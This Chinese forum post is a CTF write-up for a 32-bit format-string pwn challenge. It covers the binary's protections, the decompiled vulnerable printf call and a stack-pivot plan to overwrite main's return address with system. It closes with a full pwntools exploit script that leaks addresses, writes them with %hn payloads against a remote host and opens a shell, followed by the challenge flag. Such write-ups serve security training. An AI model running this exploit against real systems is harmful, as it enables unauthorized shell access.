首页
社区
课程
招聘
[原创]看雪CTF2019晋级赛Q2第三题
2019-6-25 09:44 4396

[原创]看雪CTF2019晋级赛Q2第三题

2019-6-25 09:44
4396
一、程序保护情况
使用checksec(如下)可知got表不可写。
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
二、main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int index; // eax
  char buf; // [esp+0h] [ebp-10h]
  unsigned int v6; // [esp+4h] [ebp-Ch]
  int *v7; // [esp+8h] [ebp-8h]

  v7 = &argc;
  v6 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  puts("Welcome to kanxue 2019, your pwn like cxk");
  do
  {
    while ( 1 )
    {
      menu();
      read(0, &buf, 4u);
      index = atoi(&buf);
      if ( index != 1 )
        break;
      printf("What do tou want to say:");
      read_input(echo, 0x18);
      printf(echo);
      puts((const char *)&unk_56556A97);
    }
  }
  while ( index != 2 );
  return 0;
}
可以看出如下语句存在格式化字符串漏洞
printf(echo);
       利用格式化字符串漏洞可以获取到libc以及模块的基址,利用%n也可以实现任意地址写。由于本题got表不可写,可以考虑将main函数的返回地址改写,比较简单是使用onegadget,但是经过是实际测试发现onegadget的某些条件不满足,因此改为将main函数返回地址system函数地址,即如下格式:
                                                                    
 如上图,将栈地址0xFFEB879C改为system函数地址,此时system函数的参数地址应该为FFEB87A0栈地址,因此将 FFEB87A0内容改为全局变量echo地址,然后将'/bin/sh'输入到echo中,即可拿到shell。
三、跳板
观察printf时的栈的情况,并没有直接能够修改main函数的返回地址。因此需要找个跳板 
FFB8D9F0  565B200C  .bss:echo
FFB8D9F4  00000018  
FFB8D9F8  00000004  
FFB8D9FC  565B08F3  main+6D
FFB8DA00  00000001  
FFB8DA04  FFB8DAC4  [stack]:FFB8DAC4
FFB8DA08  FFB80A31  [stack]:FFB80A31
FFB8DA0C  16D67C00  
FFB8DA10  FFB8DA30  [stack]:FFB8DA30
FFB8DA14  00000000  
FFB8DA18  00000000  
FFB8DA1C  F7E19637  libc_2.23.so:__libc_start_main+F7
FFB8DA20  F7FB3000  libc_2.23.so:F7FB3000
FFB8DA24  F7FB3000  libc_2.23.so:F7FB3000
FFB8DA28  00000000  
FFB8DA2C  F7E19637  libc_2.23.so:__libc_start_main+F7
FFB8DA30  00000001  
FFB8DA34  FFB8DAC4  [stack]:FFB8DAC4
FFB8DA38  FFB8DACC  [stack]:FFB8DACC
       从栈分布可知,对于printf的第6个参数即 FFB8DA04指向另外一个栈地址FFB8DAC4。可先利用 FFB8DA04将 [FFB8DAC4]=FFB8D9F0,然后再利用 FFB8D9F0将main函数返回地址改为system地址 即将[FFB8DA2C]= system_call。按照这个方法可以将[FFB8DA30]=echo地址。
       四、获取l地址
        从栈中分布情况可轻易获得模块地址值和libc地址,从而获得echo全局地址和sysytem函数地址。
        五、脚本
# coding:utf-8
from pwn import *
from zio import *

g_libcBase = 0
g_bridgeStackAddr = 0
g_mainRetAddr = 0
g_systemFuncAddr=0
g_moudleBase = 0;
g_ehcoAddr = 0

def choice(index):
    io.sendline(str(index))
    p = io.recvuntil('What do tou want to say:')
    return p

def say(str):
    io.sendline(str)
    sleep(1)
    p = io.recvuntil('Choice:')
    return p

def GetAddrByString(str):
	choice(1)   
	p=say(str)
	return int(p[2:10], 16)

if __name__ == '__main__':
	#io = process('./format')
	io = remote('152.136.18.34', 9999)	
	io.recvuntil('Choice:')
	
	#get addr
	g_bridgeStackAddr = GetAddrByString('%8$p')
	print 'g_bridgeStackAddr = ' + str(hex(g_bridgeStackAddr))
	g_mainRetAddr = g_bridgeStackAddr - 4
	print 'g_mainRetAddr = ' + str(hex(g_mainRetAddr))
	g_libcBase = GetAddrByString('%15$p')- 0x18637
	print 'g_libcBase = ' + str(hex(g_libcBase)) 
	#g_systemFuncAddr = g_libcBase + 0x3ADA0
	g_systemFuncAddr = g_libcBase + 0x3A940
	print 'g_systemFuncAddr = ' + str(hex(g_systemFuncAddr)) 
	g_moudleBase = GetAddrByString('%3$p') - 0x8f3
	print 'g_moudleBase = ' + str(hex(g_moudleBase))
	g_ehcoAddr = g_moudleBase + 0x200c
	print 'g_ehcoAddr = ' + str(hex(g_ehcoAddr))

	#set system call
	pyload = '%.' + str(g_mainRetAddr&0xffff) + 'x%5$hn'
	print 'pyload=' + pyload
	choice(1)
	say(pyload)
	pyload = '%.' + str(g_systemFuncAddr&0xffff) + 'x%53$hn'
	print 'pyload=' + pyload
	choice(1)
	say(pyload)
	pyload = '%.' + str((g_mainRetAddr+2)&0xffff) + 'x%5$hn'
	print 'pyload=' + pyload
	choice(1)
	say(pyload)
	pyload = '%.' + str(g_systemFuncAddr>>16) + 'x%53$hn'
	print 'pyload=' + pyload
	choice(1)
	say(pyload)
	
	#set echo
	g_bridgeStackAddr = g_bridgeStackAddr + 4
	pyload = '%.' + str(g_bridgeStackAddr&0xffff) + 'x%5$hn'
	print 'pyload=' + pyload
	choice(1)
	say(pyload)
	pyload = '%.' + str(g_ehcoAddr&0xffff) + 'x%53$hn'
	print 'pyload=' + pyload
	choice(1)
	say(pyload)
	pyload = '%.' + str((g_bridgeStackAddr+2)&0xffff) + 'x%5$hn'
	print 'pyload=' + pyload
	choice(1)
	say(pyload)
	pyload = '%.' + str(g_ehcoAddr>>16) + 'x%53$hn'
	print 'pyload=' + pyload
	choice(1)
	say(pyload)
	
	#set /bin/sh
	pyload = '/bin/sh' + p32(0)
	choice(1)
	say(pyload)
	
        print 'get shell'
        io.interactive()
FLAG 为:flag{c6671fc0-cea3-42ef-8af0-c20c65f854be}

        



[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2019-6-25 10:05 被oooAooo编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回